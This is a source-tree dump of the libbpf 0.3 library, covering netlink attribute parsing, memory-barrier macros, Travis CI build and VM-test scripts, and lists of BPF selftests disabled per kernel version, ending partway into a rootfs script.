14 | * used in a libbpf header file. That way they can be built into the
15 | * application that uses libbpf.
16 | */
17 | #if defined(__i386__) || defined(__x86_64__)
18 | # define libbpf_smp_rmb() asm volatile("" : : : "memory")
19 | # define libbpf_smp_wmb() asm volatile("" : : : "memory")
20 | # define libbpf_smp_mb() \
21 | asm volatile("lock; addl $0,-4(%%rsp)" : : : "memory", "cc")
22 | /* Hinders stores to be observed before older loads. */
23 | # define libbpf_smp_rwmb() asm volatile("" : : : "memory")
24 | #elif defined(__aarch64__)
25 | # define libbpf_smp_rmb() asm volatile("dmb ishld" : : : "memory")
26 | # define libbpf_smp_wmb() asm volatile("dmb ishst" : : : "memory")
27 | # define libbpf_smp_mb() asm volatile("dmb ish" : : : "memory")
28 | # define libbpf_smp_rwmb() libbpf_smp_mb()
29 | #elif defined(__arm__)
30 | /* These are only valid for armv7 and above */
31 | # define libbpf_smp_rmb() asm volatile("dmb ish" : : : "memory")
32 | # define libbpf_smp_wmb() asm volatile("dmb ishst" : : : "memory")
33 | # define libbpf_smp_mb() asm volatile("dmb ish" : : : "memory")
34 | # define libbpf_smp_rwmb() libbpf_smp_mb()
35 | #else
36 | /* Architecture missing native barrier functions. */
37 | # define libbpf_smp_rmb() __sync_synchronize()
38 | # define libbpf_smp_wmb() __sync_synchronize()
39 | # define libbpf_smp_mb() __sync_synchronize()
40 | # define libbpf_smp_rwmb() __sync_synchronize()
41 | #endif
42 |
43 | #ifdef __cplusplus
44 | } /* extern "C" */
45 | #endif
46 |
47 | #endif
48 |
--------------------------------------------------------------------------------
/libbpf-0.3/src/nlattr.c:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
2 |
3 | /*
4 | * NETLINK Netlink attributes
5 | *
6 | * Copyright (c) 2003-2013 Thomas Graf
7 | */
8 |
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include "nlattr.h"
14 | #include "libbpf_internal.h"
15 |
16 | static uint16_t nla_attr_minlen[LIBBPF_NLA_TYPE_MAX+1] = {
17 | [LIBBPF_NLA_U8] = sizeof(uint8_t),
18 | [LIBBPF_NLA_U16] = sizeof(uint16_t),
19 | [LIBBPF_NLA_U32] = sizeof(uint32_t),
20 | [LIBBPF_NLA_U64] = sizeof(uint64_t),
21 | [LIBBPF_NLA_STRING] = 1,
22 | [LIBBPF_NLA_FLAG] = 0,
23 | };
24 |
25 | static struct nlattr *nla_next(const struct nlattr *nla, int *remaining)
26 | {
27 | int totlen = NLA_ALIGN(nla->nla_len);
28 |
29 | *remaining -= totlen;
30 | return (struct nlattr *) ((char *) nla + totlen);
31 | }
32 |
33 | static int nla_ok(const struct nlattr *nla, int remaining)
34 | {
35 | return remaining >= sizeof(*nla) &&
36 | nla->nla_len >= sizeof(*nla) &&
37 | nla->nla_len <= remaining;
38 | }
39 |
40 | static int nla_type(const struct nlattr *nla)
41 | {
42 | return nla->nla_type & NLA_TYPE_MASK;
43 | }
44 |
45 | static int validate_nla(struct nlattr *nla, int maxtype,
46 | struct libbpf_nla_policy *policy)
47 | {
48 | struct libbpf_nla_policy *pt;
49 | unsigned int minlen = 0;
50 | int type = nla_type(nla);
51 |
52 | if (type < 0 || type > maxtype)
53 | return 0;
54 |
55 | pt = &policy[type];
56 |
57 | if (pt->type > LIBBPF_NLA_TYPE_MAX)
58 | return 0;
59 |
60 | if (pt->minlen)
61 | minlen = pt->minlen;
62 | else if (pt->type != LIBBPF_NLA_UNSPEC)
63 | minlen = nla_attr_minlen[pt->type];
64 |
65 | if (libbpf_nla_len(nla) < minlen)
66 | return -1;
67 |
68 | if (pt->maxlen && libbpf_nla_len(nla) > pt->maxlen)
69 | return -1;
70 |
71 | if (pt->type == LIBBPF_NLA_STRING) {
72 | char *data = libbpf_nla_data(nla);
73 |
74 | if (data[libbpf_nla_len(nla) - 1] != '\0')
75 | return -1;
76 | }
77 |
78 | return 0;
79 | }
80 |
81 | static inline int nlmsg_len(const struct nlmsghdr *nlh)
82 | {
83 | return nlh->nlmsg_len - NLMSG_HDRLEN;
84 | }
85 |
86 | /**
87 | * Create attribute index based on a stream of attributes.
88 | * @arg tb Index array to be filled (maxtype+1 elements).
89 | * @arg maxtype Maximum attribute type expected and accepted.
90 | * @arg head Head of attribute stream.
91 | * @arg len Length of attribute stream.
92 | * @arg policy Attribute validation policy.
93 | *
94 | * Iterates over the stream of attributes and stores a pointer to each
95 | * attribute in the index array using the attribute type as index to
96 | * the array. Attribute with a type greater than the maximum type
97 | * specified will be silently ignored in order to maintain backwards
98 | * compatibility. If \a policy is not NULL, the attribute will be
99 | * validated using the specified policy.
100 | *
101 | * @see nla_validate
102 | * @return 0 on success or a negative error code.
103 | */
104 | int libbpf_nla_parse(struct nlattr *tb[], int maxtype, struct nlattr *head,
105 | int len, struct libbpf_nla_policy *policy)
106 | {
107 | struct nlattr *nla;
108 | int rem, err;
109 |
110 | memset(tb, 0, sizeof(struct nlattr *) * (maxtype + 1));
111 |
112 | libbpf_nla_for_each_attr(nla, head, len, rem) {
113 | int type = nla_type(nla);
114 |
115 | if (type > maxtype)
116 | continue;
117 |
118 | if (policy) {
119 | err = validate_nla(nla, maxtype, policy);
120 | if (err < 0)
121 | goto errout;
122 | }
123 |
124 | if (tb[type])
125 | pr_warn("Attribute of type %#x found multiple times in message, "
126 | "previous attribute is being ignored.\n", type);
127 |
128 | tb[type] = nla;
129 | }
130 |
131 | err = 0;
132 | errout:
133 | return err;
134 | }
135 |
136 | /**
137 | * Create attribute index based on nested attribute
138 | * @arg tb Index array to be filled (maxtype+1 elements).
139 | * @arg maxtype Maximum attribute type expected and accepted.
140 | * @arg nla Nested Attribute.
141 | * @arg policy Attribute validation policy.
142 | *
143 | * Feeds the stream of attributes nested into the specified attribute
144 | * to libbpf_nla_parse().
145 | *
146 | * @see libbpf_nla_parse
147 | * @return 0 on success or a negative error code.
148 | */
149 | int libbpf_nla_parse_nested(struct nlattr *tb[], int maxtype,
150 | struct nlattr *nla,
151 | struct libbpf_nla_policy *policy)
152 | {
153 | return libbpf_nla_parse(tb, maxtype, libbpf_nla_data(nla),
154 | libbpf_nla_len(nla), policy);
155 | }
156 |
157 | /* dump netlink extended ack error message */
158 | int libbpf_nla_dump_errormsg(struct nlmsghdr *nlh)
159 | {
160 | struct libbpf_nla_policy extack_policy[NLMSGERR_ATTR_MAX + 1] = {
161 | [NLMSGERR_ATTR_MSG] = { .type = LIBBPF_NLA_STRING },
162 | [NLMSGERR_ATTR_OFFS] = { .type = LIBBPF_NLA_U32 },
163 | };
164 | struct nlattr *tb[NLMSGERR_ATTR_MAX + 1], *attr;
165 | struct nlmsgerr *err;
166 | char *errmsg = NULL;
167 | int hlen, alen;
168 |
169 | /* no TLVs, nothing to do here */
170 | if (!(nlh->nlmsg_flags & NLM_F_ACK_TLVS))
171 | return 0;
172 |
173 | err = (struct nlmsgerr *)NLMSG_DATA(nlh);
174 | hlen = sizeof(*err);
175 |
176 | /* if NLM_F_CAPPED is set then the inner err msg was capped */
177 | if (!(nlh->nlmsg_flags & NLM_F_CAPPED))
178 | hlen += nlmsg_len(&err->msg);
179 |
180 | attr = (struct nlattr *) ((void *) err + hlen);
181 | alen = nlh->nlmsg_len - hlen;
182 |
183 | if (libbpf_nla_parse(tb, NLMSGERR_ATTR_MAX, attr, alen,
184 | extack_policy) != 0) {
185 | pr_warn("Failed to parse extended error attributes\n");
186 | return 0;
187 | }
188 |
189 | if (tb[NLMSGERR_ATTR_MSG])
190 | errmsg = (char *) libbpf_nla_data(tb[NLMSGERR_ATTR_MSG]);
191 |
192 | pr_warn("Kernel error message: %s\n", errmsg);
193 |
194 | return 0;
195 | }
196 |
--------------------------------------------------------------------------------
/libbpf-0.3/src/nlattr.h:
--------------------------------------------------------------------------------
1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
2 |
3 | /*
4 | * NETLINK Netlink attributes
5 | *
6 | * Copyright (c) 2003-2013 Thomas Graf
7 | */
8 |
9 | #ifndef __LIBBPF_NLATTR_H
10 | #define __LIBBPF_NLATTR_H
11 |
12 | #include
13 | #include
14 | /* avoid multiple definition of netlink features */
15 | #define __LINUX_NETLINK_H
16 |
17 | /**
18 | * Standard attribute types to specify validation policy
19 | */
20 | enum {
21 | LIBBPF_NLA_UNSPEC, /**< Unspecified type, binary data chunk */
22 | LIBBPF_NLA_U8, /**< 8 bit integer */
23 | LIBBPF_NLA_U16, /**< 16 bit integer */
24 | LIBBPF_NLA_U32, /**< 32 bit integer */
25 | LIBBPF_NLA_U64, /**< 64 bit integer */
26 | LIBBPF_NLA_STRING, /**< NUL terminated character string */
27 | LIBBPF_NLA_FLAG, /**< Flag */
28 | LIBBPF_NLA_MSECS, /**< Micro seconds (64bit) */
29 | LIBBPF_NLA_NESTED, /**< Nested attributes */
30 | __LIBBPF_NLA_TYPE_MAX,
31 | };
32 |
33 | #define LIBBPF_NLA_TYPE_MAX (__LIBBPF_NLA_TYPE_MAX - 1)
34 |
35 | /**
36 | * @ingroup attr
37 | * Attribute validation policy.
38 | *
39 | * See section @core_doc{core_attr_parse,Attribute Parsing} for more details.
40 | */
41 | struct libbpf_nla_policy {
42 | /** Type of attribute or LIBBPF_NLA_UNSPEC */
43 | uint16_t type;
44 |
45 | /** Minimal length of payload required */
46 | uint16_t minlen;
47 |
48 | /** Maximal length of payload allowed */
49 | uint16_t maxlen;
50 | };
51 |
52 | /**
53 | * @ingroup attr
54 | * Iterate over a stream of attributes
55 | * @arg pos loop counter, set to current attribute
56 | * @arg head head of attribute stream
57 | * @arg len length of attribute stream
58 | * @arg rem initialized to len, holds bytes currently remaining in stream
59 | */
60 | #define libbpf_nla_for_each_attr(pos, head, len, rem) \
61 | for (pos = head, rem = len; \
62 | nla_ok(pos, rem); \
63 | pos = nla_next(pos, &(rem)))
64 |
65 | /**
66 | * libbpf_nla_data - head of payload
67 | * @nla: netlink attribute
68 | */
69 | static inline void *libbpf_nla_data(const struct nlattr *nla)
70 | {
71 | return (char *) nla + NLA_HDRLEN;
72 | }
73 |
74 | static inline uint8_t libbpf_nla_getattr_u8(const struct nlattr *nla)
75 | {
76 | return *(uint8_t *)libbpf_nla_data(nla);
77 | }
78 |
79 | static inline uint32_t libbpf_nla_getattr_u32(const struct nlattr *nla)
80 | {
81 | return *(uint32_t *)libbpf_nla_data(nla);
82 | }
83 |
84 | static inline const char *libbpf_nla_getattr_str(const struct nlattr *nla)
85 | {
86 | return (const char *)libbpf_nla_data(nla);
87 | }
88 |
89 | /**
90 | * libbpf_nla_len - length of payload
91 | * @nla: netlink attribute
92 | */
93 | static inline int libbpf_nla_len(const struct nlattr *nla)
94 | {
95 | return nla->nla_len - NLA_HDRLEN;
96 | }
97 |
98 | int libbpf_nla_parse(struct nlattr *tb[], int maxtype, struct nlattr *head,
99 | int len, struct libbpf_nla_policy *policy);
100 | int libbpf_nla_parse_nested(struct nlattr *tb[], int maxtype,
101 | struct nlattr *nla,
102 | struct libbpf_nla_policy *policy);
103 |
104 | int libbpf_nla_dump_errormsg(struct nlmsghdr *nlh);
105 |
106 | #endif /* __LIBBPF_NLATTR_H */
107 |
--------------------------------------------------------------------------------
/libbpf-0.3/src/str_error.c:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
2 | #undef _GNU_SOURCE
3 | #include
4 | #include
5 | #include "str_error.h"
6 |
7 | /* make sure libbpf doesn't use kernel-only integer typedefs */
8 | #pragma GCC poison u8 u16 u32 u64 s8 s16 s32 s64
9 |
10 | /*
11 | * Wrapper to allow for building in non-GNU systems such as Alpine Linux's musl
12 | * libc, while checking strerror_r() return to avoid having to check this in
13 | * all places calling it.
14 | */
15 | char *libbpf_strerror_r(int err, char *dst, int len)
16 | {
17 | int ret = strerror_r(err < 0 ? -err : err, dst, len);
18 | if (ret)
19 | snprintf(dst, len, "ERROR: strerror_r(%d)=%d", err, ret);
20 | return dst;
21 | }
22 |
--------------------------------------------------------------------------------
/libbpf-0.3/src/str_error.h:
--------------------------------------------------------------------------------
1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
2 | #ifndef __LIBBPF_STR_ERROR_H
3 | #define __LIBBPF_STR_ERROR_H
4 |
5 | char *libbpf_strerror_r(int err, char *dst, int len);
6 | #endif /* __LIBBPF_STR_ERROR_H */
7 |
--------------------------------------------------------------------------------
/libbpf-0.3/travis-ci/managers/debian.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | PHASES=(${@:-SETUP RUN RUN_ASAN CLEANUP})
4 | DEBIAN_RELEASE="${DEBIAN_RELEASE:-testing}"
5 | CONT_NAME="${CONT_NAME:-libbpf-debian-$DEBIAN_RELEASE}"
6 | ENV_VARS="${ENV_VARS:-}"
7 | DOCKER_RUN="${DOCKER_RUN:-docker run}"
8 | REPO_ROOT="${REPO_ROOT:-$PWD}"
9 | ADDITIONAL_DEPS=(clang pkg-config gcc-8)
10 | CFLAGS="-g -O2 -Werror -Wall"
11 |
12 | function info() {
13 | echo -e "\033[33;1m$1\033[0m"
14 | }
15 |
16 | function error() {
17 | echo -e "\033[31;1m$1\033[0m"
18 | }
19 |
20 | function docker_exec() {
21 | docker exec $ENV_VARS -it $CONT_NAME "$@"
22 | }
23 |
24 | set -e
25 |
26 | source "$(dirname $0)/travis_wait.bash"
27 |
28 | for phase in "${PHASES[@]}"; do
29 | case $phase in
30 | SETUP)
31 | info "Setup phase"
32 | info "Using Debian $DEBIAN_RELEASE"
33 |
34 | sudo apt-get -y -o Dpkg::Options::="--force-confnew" install docker-ce
35 | docker --version
36 |
37 | docker pull debian:$DEBIAN_RELEASE
38 | info "Starting container $CONT_NAME"
39 | $DOCKER_RUN -v $REPO_ROOT:/build:rw \
40 | -w /build --privileged=true --name $CONT_NAME \
41 | -dit --net=host debian:$DEBIAN_RELEASE /bin/bash
42 | docker_exec bash -c "echo deb-src http://deb.debian.org/debian $DEBIAN_RELEASE main >>/etc/apt/sources.list"
43 | docker_exec apt-get -y update
44 | docker_exec apt-get -y build-dep libelf-dev
45 | docker_exec apt-get -y install libelf-dev
46 | docker_exec apt-get -y install "${ADDITIONAL_DEPS[@]}"
47 | ;;
48 | RUN|RUN_CLANG|RUN_GCC8|RUN_ASAN|RUN_CLANG_ASAN|RUN_GCC8_ASAN)
49 | if [[ "$phase" = *"CLANG"* ]]; then
50 | ENV_VARS="-e CC=clang -e CXX=clang++"
51 | CC="clang"
52 | elif [[ "$phase" = *"GCC8"* ]]; then
53 | ENV_VARS="-e CC=gcc-8 -e CXX=g++-8"
54 | CC="gcc-8"
55 | else
56 | CFLAGS="${CFLAGS} -Wno-stringop-truncation"
57 | fi
58 | if [[ "$phase" = *"ASAN"* ]]; then
59 | CFLAGS="${CFLAGS} -fsanitize=address,undefined"
60 | fi
61 | docker_exec mkdir build install
62 | docker_exec ${CC:-cc} --version
63 | info "build"
64 | docker_exec make -j$((4*$(nproc))) CFLAGS="${CFLAGS}" -C ./src -B OBJDIR=../build
65 | info "ldd build/libbpf.so:"
66 | docker_exec ldd build/libbpf.so
67 | if ! docker_exec ldd build/libbpf.so | grep -q libelf; then
68 | error "No reference to libelf.so in libbpf.so!"
69 | exit 1
70 | fi
71 | info "install"
72 | docker_exec make -j$((4*$(nproc))) -C src OBJDIR=../build DESTDIR=../install install
73 | docker_exec rm -rf build install
74 | ;;
75 | CLEANUP)
76 | info "Cleanup phase"
77 | docker stop $CONT_NAME
78 | docker rm -f $CONT_NAME
79 | ;;
80 | *)
81 | echo >&2 "Unknown phase '$phase'"
82 | exit 1
83 | esac
84 | done
85 |
--------------------------------------------------------------------------------
/libbpf-0.3/travis-ci/managers/travis_wait.bash:
--------------------------------------------------------------------------------
1 | # This was borrowed from https://github.com/travis-ci/travis-build/tree/master/lib/travis/build/bash
2 | # to get around https://github.com/travis-ci/travis-ci/issues/9979. It should probably be removed
3 | # as soon as Travis CI has started to provide an easy way to export the functions to bash scripts.
4 |
5 | travis_jigger() {
6 | local cmd_pid="${1}"
7 | shift
8 | local timeout="${1}"
9 | shift
10 | local count=0
11 |
12 | echo -e "\\n"
13 |
14 | while [[ "${count}" -lt "${timeout}" ]]; do
15 | count="$((count + 1))"
16 | echo -ne "Still running (${count} of ${timeout}): ${*}\\r"
17 | sleep 60
18 | done
19 |
20 | echo -e "\\n${ANSI_RED}Timeout (${timeout} minutes) reached. Terminating \"${*}\"${ANSI_RESET}\\n"
21 | kill -9 "${cmd_pid}"
22 | }
23 |
24 | travis_wait() {
25 | local timeout="${1}"
26 |
27 | if [[ "${timeout}" =~ ^[0-9]+$ ]]; then
28 | shift
29 | else
30 | timeout=20
31 | fi
32 |
33 | local cmd=("${@}")
34 | local log_file="travis_wait_${$}.log"
35 |
36 | "${cmd[@]}" &>"${log_file}" &
37 | local cmd_pid="${!}"
38 |
39 | travis_jigger "${!}" "${timeout}" "${cmd[@]}" &
40 | local jigger_pid="${!}"
41 | local result
42 |
43 | {
44 | set +e
45 | wait "${cmd_pid}" 2>/dev/null
46 | result="${?}"
47 | ps -p"${jigger_pid}" &>/dev/null && kill "${jigger_pid}"
48 | set -e
49 | }
50 |
51 | if [[ "${result}" -eq 0 ]]; then
52 | echo -e "\\n${ANSI_GREEN}The command ${cmd[*]} exited with ${result}.${ANSI_RESET}"
53 | else
54 | echo -e "\\n${ANSI_RED}The command ${cmd[*]} exited with ${result}.${ANSI_RESET}"
55 | fi
56 |
57 | echo -e "\\n${ANSI_GREEN}Log:${ANSI_RESET}\\n"
58 | cat "${log_file}"
59 |
60 | return "${result}"
61 | }
62 |
--------------------------------------------------------------------------------
/libbpf-0.3/travis-ci/managers/ubuntu.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | set -e
3 | set -x
4 |
5 | RELEASE="bionic"
6 |
7 | echo "deb-src http://archive.ubuntu.com/ubuntu/ $RELEASE main restricted universe multiverse" >>/etc/apt/sources.list
8 |
9 | apt-get update
10 | apt-get -y build-dep libelf-dev
11 | apt-get install -y libelf-dev pkg-config
12 |
13 | source "$(dirname $0)/travis_wait.bash"
14 |
15 | cd $REPO_ROOT
16 |
17 | CFLAGS="-g -O2 -Werror -Wall -fsanitize=address,undefined"
18 | mkdir build install
19 | cc --version
20 | make -j$((4*$(nproc))) CFLAGS="${CFLAGS}" -C ./src -B OBJDIR=../build
21 | ldd build/libbpf.so
22 | if ! ldd build/libbpf.so | grep -q libelf; then
23 | echo "FAIL: No reference to libelf.so in libbpf.so!"
24 | exit 1
25 | fi
26 | make -j$((4*$(nproc))) -C src OBJDIR=../build DESTDIR=../install install
27 | rm -rf build install
28 |
--------------------------------------------------------------------------------
/libbpf-0.3/travis-ci/vmtest/build_pahole.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | set -eu
4 |
5 | source $(cd $(dirname $0) && pwd)/helpers.sh
6 |
7 | travis_fold start build_pahole "Building pahole"
8 |
9 | CWD=$(pwd)
10 | REPO_PATH=$1
11 | PAHOLE_ORIGIN=https://git.kernel.org/pub/scm/devel/pahole/pahole.git
12 |
13 | mkdir -p ${REPO_PATH}
14 | cd ${REPO_PATH}
15 | git init
16 | git remote add origin ${PAHOLE_ORIGIN}
17 | git fetch origin
18 | git checkout master
19 |
20 | mkdir -p build
21 | cd build
22 | cmake -DCMAKE_BUILD_TYPE=RelWithDebInfo -D__LIB=lib ..
23 | make -j$((4*$(nproc))) all
24 | sudo make install
25 |
26 | export LD_LIBRARY_PATH=${LD_LIBRARY_PATH:-}:/usr/local/lib
27 | ldd $(which pahole)
28 | pahole --version
29 |
30 | travis_fold end build_pahole
31 |
--------------------------------------------------------------------------------
/libbpf-0.3/travis-ci/vmtest/build_selftests.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | set -euo pipefail
4 |
5 | source $(cd $(dirname $0) && pwd)/helpers.sh
6 |
7 | travis_fold start prepare_selftests "Building selftests"
8 |
9 | LLVM_VER=12
10 | LIBBPF_PATH="${REPO_ROOT}"
11 | REPO_PATH="travis-ci/vmtest/bpf-next"
12 |
13 | PREPARE_SELFTESTS_SCRIPT=${VMTEST_ROOT}/prepare_selftests-${KERNEL}.sh
14 | if [ -f "${PREPARE_SELFTESTS_SCRIPT}" ]; then
15 | (cd "${REPO_ROOT}/${REPO_PATH}/tools/testing/selftests/bpf" && ${PREPARE_SELFTESTS_SCRIPT})
16 | fi
17 |
18 | if [[ "${KERNEL}" = 'LATEST' ]]; then
19 | VMLINUX_H=
20 | else
21 | VMLINUX_H=${VMTEST_ROOT}/vmlinux.h
22 | fi
23 |
24 | make \
25 | CLANG=clang-${LLVM_VER} \
26 | LLC=llc-${LLVM_VER} \
27 | LLVM_STRIP=llvm-strip-${LLVM_VER} \
28 | VMLINUX_BTF="${VMLINUX_BTF}" \
29 | VMLINUX_H=${VMLINUX_H} \
30 | -C "${REPO_ROOT}/${REPO_PATH}/tools/testing/selftests/bpf" \
31 | -j $((2*$(nproc)))
32 | mkdir ${LIBBPF_PATH}/selftests
33 | cp -R "${REPO_ROOT}/${REPO_PATH}/tools/testing/selftests/bpf" \
34 | ${LIBBPF_PATH}/selftests
35 | cd ${LIBBPF_PATH}
36 | rm selftests/bpf/.gitignore
37 | git add selftests
38 |
39 | git add "${VMTEST_ROOT}/configs/blacklist"
40 |
41 | travis_fold end prepare_selftests
42 |
--------------------------------------------------------------------------------
/libbpf-0.3/travis-ci/vmtest/checkout_latest_kernel.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | set -eu
4 |
5 | source $(cd $(dirname $0) && pwd)/helpers.sh
6 |
7 | CWD=$(pwd)
8 | LIBBPF_PATH=$(pwd)
9 | REPO_PATH=$1
10 |
11 | BPF_NEXT_ORIGIN=https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf-next.git
12 | LINUX_SHA=$(cat ${LIBBPF_PATH}/CHECKPOINT-COMMIT)
13 | SNAPSHOT_URL=https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf-next.git/snapshot/bpf-next-${LINUX_SHA}.tar.gz
14 |
15 | echo REPO_PATH = ${REPO_PATH}
16 | echo LINUX_SHA = ${LINUX_SHA}
17 |
18 | if [ ! -d "${REPO_PATH}" ]; then
19 | echo
20 | travis_fold start pull_kernel_srcs "Fetching kernel sources"
21 |
22 | mkdir -p $(dirname "${REPO_PATH}")
23 | cd $(dirname "${REPO_PATH}")
24 | # attempt to fetch desired bpf-next repo snapshot
25 | if wget ${SNAPSHOT_URL} && tar xf bpf-next-${LINUX_SHA}.tar.gz ; then
26 | mv bpf-next-${LINUX_SHA} $(basename ${REPO_PATH})
27 | else
28 | # but fallback to git fetch approach if that fails
29 | mkdir -p $(basename ${REPO_PATH})
30 | cd $(basename ${REPO_PATH})
31 | git init
32 | git remote add bpf-next ${BPF_NEXT_ORIGIN}
33 | # try shallow clone first
34 | git fetch --depth 32 bpf-next
35 | # check if desired SHA exists
36 | if ! git cat-file -e ${LINUX_SHA}^{commit} ; then
37 | # if not, fetch all of bpf-next; slow and painful
38 | git fetch bpf-next
39 | fi
40 | git reset --hard ${LINUX_SHA}
41 | fi
42 |
43 | travis_fold end pull_kernel_srcs
44 | fi
45 |
--------------------------------------------------------------------------------
/libbpf-0.3/travis-ci/vmtest/configs/INDEX:
--------------------------------------------------------------------------------
1 | INDEX https://libbpf-vmtest.s3-us-west-1.amazonaws.com/x86_64/INDEX
2 | libbpf-vmtest-rootfs-2020.09.27.tar.zst https://libbpf-vmtest.s3-us-west-1.amazonaws.com/x86_64/libbpf-vmtest-rootfs-2020.09.27.tar.zst
3 | vmlinux-4.9.0.zst https://libbpf-vmtest.s3-us-west-1.amazonaws.com/x86_64/vmlinux-4.9.0.zst
4 | vmlinux-5.5.0-rc6.zst https://libbpf-vmtest.s3-us-west-1.amazonaws.com/x86_64/vmlinux-5.5.0-rc6.zst
5 | vmlinux-5.5.0.zst https://libbpf-vmtest.s3-us-west-1.amazonaws.com/x86_64/vmlinux-5.5.0.zst
6 | vmlinuz-5.5.0-rc6 https://libbpf-vmtest.s3-us-west-1.amazonaws.com/x86_64/vmlinuz-5.5.0-rc6
7 | vmlinuz-5.5.0 https://libbpf-vmtest.s3-us-west-1.amazonaws.com/x86_64/vmlinuz-5.5.0
8 | vmlinuz-4.9.0 https://libbpf-vmtest.s3-us-west-1.amazonaws.com/x86_64/vmlinuz-4.9.0
9 |
--------------------------------------------------------------------------------
/libbpf-0.3/travis-ci/vmtest/configs/blacklist/BLACKLIST-5.5.0:
--------------------------------------------------------------------------------
1 | # PERMANENTLY DISABLED
2 | align # verifier output format changed
3 | bpf_iter # bpf_iter support is missing
4 | bpf_obj_id # bpf_link support missing for GET_OBJ_INFO, GET_FD_BY_ID, etc
5 | bpf_tcp_ca # STRUCT_OPS is missing
6 | btf_map_in_map # inner map leak fixed in 5.8
7 | btf_skc_cls_ingress # v5.10+ functionality
8 | cg_storage_multi # v5.9+ functionality
9 | cgroup_attach_multi # BPF_F_REPLACE_PROG missing
10 | cgroup_link # LINK_CREATE is missing
11 | cgroup_skb_sk_lookup # bpf_sk_lookup_tcp() helper is missing
12 | cls_redirect # bpf_csum_level() helper is missing
13 | connect_force_port # cgroup/get{peer,sock}name{4,6} support is missing
14 | d_path # v5.10+ feature
15 | enable_stats # BPF_ENABLE_STATS support is missing
16 | fentry_fexit # bpf_prog_test_tracing missing
17 | fentry_test # bpf_prog_test_tracing missing
18 | fexit_bpf2bpf # freplace is missing
19 | fexit_test # bpf_prog_test_tracing missing
20 | flow_dissector # bpf_link-based flow dissector is in 5.8+
21 | flow_dissector_reattach
22 | get_stack_raw_tp # exercising BPF verifier bug causing infinite loop
23 | hash_large_key # v5.11+
24 | ima # v5.11+
25 | kfree_skb # 32-bit pointer arith in test_pkt_access
26 | ksyms # __start_BTF has different name
27 | link_pinning # bpf_link is missing
28 | load_bytes_relative # new functionality in 5.8
29 | map_init # per-CPU LRU missing
30 | map_ptr # test uses BPF_MAP_TYPE_RINGBUF, added in 5.8
31 | metadata # v5.10+
32 | mmap # 5.5 kernel is too permissive with re-mmaping
33 | modify_return # fmod_ret support is missing
34 | module_attach # module BTF support missing (v5.11+)
35 | ns_current_pid_tgid # bpf_get_ns_current_pid_tgid() helper is missing
36 | pe_preserve_elems # v5.10+
37 | perf_branches # bpf_read_branch_records() helper is missing
38 | pkt_access # 32-bit pointer arith in test_pkt_access
39 | probe_read_user_str # kernel bug with garbage bytes at the end
40 | prog_run_xattr # 32-bit pointer arith in test_pkt_access
41 | raw_tp_test_run # v5.10+
42 | ringbuf # BPF_MAP_TYPE_RINGBUF is supported in 5.8+
43 |
44 | # bug in verifier w/ tracking references
45 | #reference_tracking/classifier/sk_lookup_success
46 | reference_tracking
47 |
48 | select_reuseport # UDP support is missing
49 | send_signal # bpf_send_signal_thread() helper is missing
50 | sk_assign # bpf_sk_assign helper missing
51 | skb_helpers # helpers added in 5.8+
52 | sk_storage_tracing # missing bpf_sk_storage_get() helper
53 | snprintf_btf # v5.10+
54 | sock_fields # v5.10+
55 | sockmap_basic # uses new socket fields, 5.8+
56 | sockmap_listen # no listen socket supportin SOCKMAP
57 | sockopt_sk
58 | sk_lookup # v5.9+
59 | skb_ctx # ctx_{size, }_{in, out} in BPF_PROG_TEST_RUN is missing
60 | tcp_hdr_options # v5.10+, new TCP header options feature in BPF
61 | tcpbpf_user # LINK_CREATE is missing
62 | test_bpffs # v5.10+, new CONFIG_BPF_PRELOAD=y and CONFIG_BPF_PRELOAD_UMG=y|m
63 | test_bprm_opts # v5.11+
64 | test_global_funcs # kernel doesn't support BTF linkage=global on FUNCs
65 | test_local_storage # v5.10+ feature
66 | test_lsm # no BPF_LSM support
67 | test_overhead # no fmod_ret support
68 | test_profiler # needs verifier logic improvements from v5.10+
69 | test_skb_pkt_end # v5.11+
70 | trace_ext # v5.10+
71 | udp_limit # no cgroup/sock_release BPF program type (5.9+)
72 | varlen # verifier bug fixed in later kernels
73 | vmlinux # hrtimer_nanosleep() signature changed incompatibly
74 | xdp_adjust_tail # new XDP functionality added in 5.8
75 | xdp_attach # IFLA_XDP_EXPECTED_FD support is missing
76 | xdp_bpf2bpf # freplace is missing
77 | xdp_cpumap_attach # v5.9+
78 | xdp_devmap_attach # new feature in 5.8
79 | xdp_link # v5.9+
80 |
81 | # SUBTESTS FAILING (block entire test until blocking subtests works properly)
82 | btf # "size check test", "func (Non zero vlen)"
83 | tailcalls # tailcall_bpf2bpf_1, tailcall_bpf2bpf_2, tailcall_bpf2bpf_3
84 |
--------------------------------------------------------------------------------
/libbpf-0.3/travis-ci/vmtest/configs/blacklist/BLACKLIST-latest:
--------------------------------------------------------------------------------
1 | # TEMPORARY
2 |
--------------------------------------------------------------------------------
/libbpf-0.3/travis-ci/vmtest/configs/whitelist/WHITELIST-4.9.0:
--------------------------------------------------------------------------------
1 | btf_dump
2 | core_retro
3 | cpu_mask
4 | hashmap
5 | perf_buffer
6 | section_names
7 |
8 |
--------------------------------------------------------------------------------
/libbpf-0.3/travis-ci/vmtest/helpers.sh:
--------------------------------------------------------------------------------
1 | # $1 - start or end
2 | # $2 - fold identifier, no spaces
3 | # $3 - fold section description
4 | travis_fold() {
5 | local YELLOW='\033[1;33m'
6 | local NOCOLOR='\033[0m'
7 | echo travis_fold:$1:$2
8 | if [ ! -z "${3:-}" ]; then
9 | echo -e "${YELLOW}$3${NOCOLOR}"
10 | fi
11 | echo
12 | }
13 |
--------------------------------------------------------------------------------
/libbpf-0.3/travis-ci/vmtest/mkrootfs.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # This script is based on drgn script for generating Arch Linux bootstrap
4 | # images.
